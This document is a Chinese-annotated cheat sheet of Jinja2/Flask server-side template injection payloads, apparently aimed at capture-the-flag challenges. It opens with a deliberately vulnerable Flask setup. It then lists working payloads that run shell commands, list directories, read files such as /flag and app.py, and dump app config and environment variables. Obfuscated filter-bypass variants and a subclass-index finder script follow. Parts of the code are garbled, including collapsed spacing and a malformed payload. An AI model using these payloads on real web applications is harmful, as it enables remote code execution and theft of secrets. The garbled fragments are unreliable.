import os #We need that to facilitate the RCE. Otherwise one needs to run {{config.from_object("os")}} first. from flask import Flask, render_template, render_template_string, request app = Flask(__name__)
#命令执行 # <class 'subprocess.Popen'> {{''.__class__.__base__.__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}} # <class '_frozen_importlib.BuiltinImporter'> {{().__class__.__base__.__subclasses__()[80]["load_module"]("os").system("ls")}} # <class 'click.utils.LazyFile'> {{().__class__.__base__.__subclasses__().__getitem__(475).__init__.__globals__['os'].popen('ls').read()}} {{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__["open"]("/tmp/""f""l""a""g").read().encode().hex()}} # <class 'warnings.catch_warnings'> {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].popen('ls').read() }}{% endif %}{% endfor %} {{"".__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__'].popen('ls').read()}} {%print(().__class__.__base__.__subclasses__()[138]["__in"+"it__"].__globals__["__builtins__"]["__imp"+"ort__"]("os").__dict__["pop"+"en"]("cat flag").read())%} {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} {{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}} {{g.pop['__global''s__'].__builtins__.eval('__import__("os").popen("id").read()')}}
#目录扫描 # <class '_frozen_importlib._ModuleLock'> {{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}} {{"".__class__.__base__.__subclasses__()[104].__init__.__globals__["__builtins__"]["__imp""ort__"]("o""s").listdir("/")}} 文件读取 # <class '_frozen_importlib_external.FileLoader'> {{().__class__.__base__.__subclasses__()[91].get_data(0, "app.py")}} # <class 'click.utils.LazyFile'> {{().__class__.__base__.__subclasses__().__getitem__(475)('flag.txt').read()}} 这里是数字是().__class__.__base__.__subclasses__()的内容中click.utils.LazyFile的位置,从0开始算 {% for c in [].__class__.__base__.__subclasses__() %} {% if 'FileLoader' in c.__name__ %} {{ c["get_data"](0, "/flag") }} {% endif %} #获取配置 {{config}} {{get_flashed_messages.__globals__['current_app'].config}} {{url_for.__globals__['current_app'].config}} #读环境变量 {{}''.__str__.__globals__[app].__init__.__globals__[os].environ}}
#其他payload收集 {{ ""|attr("\x5f\x5fCLASS\x5f\x5f"|lower)|attr("\x5f\x5fBASE\x5f\x5f"|lower)|attr("\x5f\x5fsubCLASSES\x5f\x5f"|lower)() }} {% for c in "".__class__.__base__.__subclasses__() %}{% if "Popen" in c.__name__ %}{{ c|attr("\x5f\x5fname\x5f\x5f") }}, {{ loop|attr("index0") }}{% endif %}{% endfor %} //509 {% for c in "".__class__.__base__.__subclasses__() %}{% if "Popen" in c.__name__ %}{{ c("id",shell=True,stdout=-1)|attr("communicate")() }}}}{% endif %}{% endfor %} {{ ""|attr("\x5f\x5fCLASS\x5f\x5f"|lower)|attr("\x5f\x5fBASE\x5f\x5f"|lower)|attr("\x5f\x5fsubCLASSES\x5f\x5f"|lower)()|attr("pop")(509)("id",shell=True,stdout=-1)|attr("communicate")() }}
数字需要根据返回的数据进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
##class位置脚本 import re
a = "[<class 'type'>, <class 'async_generator'>, <class 'int'>]"
l = len(''.__class__.__mro__[2].__subclasses__()) foriinrange(l): if'wrapper' not instr(''.__class__.__mro__[2].__subclasses__()[i].__init__): print (i, ''.__class__.__mro__[2].__subclasses__()[i])